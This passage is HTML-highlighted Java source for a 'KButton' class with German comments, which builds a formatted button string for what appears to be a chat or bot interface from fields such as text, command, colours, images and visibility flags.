/>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;textXPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;textYPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;disabledTimeout</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;cursor</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KButton</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;command</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">command</span><span style="color: #007700">)){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">command&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"/"</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Sonst&nbsp;haut&nbsp;ihr&nbsp;eure&nbsp;Popups&nbsp;kaputt!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">command&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">command</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">width&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">height&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textXPosition&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textYPosition&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">disabledTimeout&nbsp;</span><span style="color: #007700">=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">visible&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">enabled&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">border&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">cursor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Cursor</span><span style="color: #007700">.</span><span style="color: #0000BB">DEFAULT_CURSOR</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*GETTER*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">String&nbsp;getText</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getCommand</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">command</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getTextColor</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">textColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getDisabledTextColor</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">disabledTextColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getIconPath</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">iconPath</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getImages</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">images</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;getColor</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isEnabled</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">enabled</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;isVisible</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">visible</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;hasTextBorder</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">textBorder</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;hasBorder</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">border</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getWidth</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getHeight</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">height</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getTextXPosition</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">textXPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getTextYPosition</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">textYPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getDisabledTimeout</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">disabledTimeout</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;getCursor</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">cursor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*SETTER*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;setEnabled</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;enabled</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">enabled&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">enabled</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setVisible</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;visible</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">visible&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">visible</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setTextBorder</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;textBorder</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textBorder&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">textBorder</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setTextColor</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;textColor</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">textColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setDisabledTextColor</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;disabledTextColor</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">disabledTextColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">disabledTextColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setWidth</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;width</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">width&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">width</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setHeight</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;height</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">height&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">height</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setTextY</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;yPosition</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textYPosition&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">yPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setTextX</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;xPosition</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">textXPosition&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">xPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setIcon</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;iconPath</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">iconPath&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">iconPath</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setImages</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;image1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;image2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;image3</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">images&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">format</span><span style="color: #007700">(</span><span style="color: #DD0000">"%s~%s~%s"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">image1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">image2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">image3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">images</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">images&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Wenn&nbsp;nichts&nbsp;angegeben&nbsp;wird!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setColor</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;color1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;color2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;color3</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">format</span><span style="color: #007700">(</span><span style="color: #DD0000">"%s~%s~%s"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;&nbsp;</span><span style="color: #FF8000">//Wenn&nbsp;nichts&nbsp;angegeben&nbsp;wird!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setBorder</span><span style="color: #007700">(</span><span style="color: #0000BB">boolean&nbsp;border</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">border&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">border</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setDisabledTimeout</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;disabledTimeout</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">disabledTimeout&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">disabledTimeout</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setCursor</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;cursor</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">cursor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">cursor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*MAIN-FUNCTION*/<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">String&nbsp;toString</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;buttonBuilder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"°&gt;{button}&nbsp;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"||call|_r\\"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">command</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">visible</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|visible|0"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">enabled</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|enabled|0"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">border</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|noborder|1"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">textBorder</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|textborder|1"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">textColor</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|textcolor|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">textColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">disabledTextColor</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"|disabledtextcolor|"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">disabledTextColor</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">isNullOrEmpty</span><span style="color: #007700">(</span><span style="color: #0000BB">iconPath</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">buttonBuilder</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: 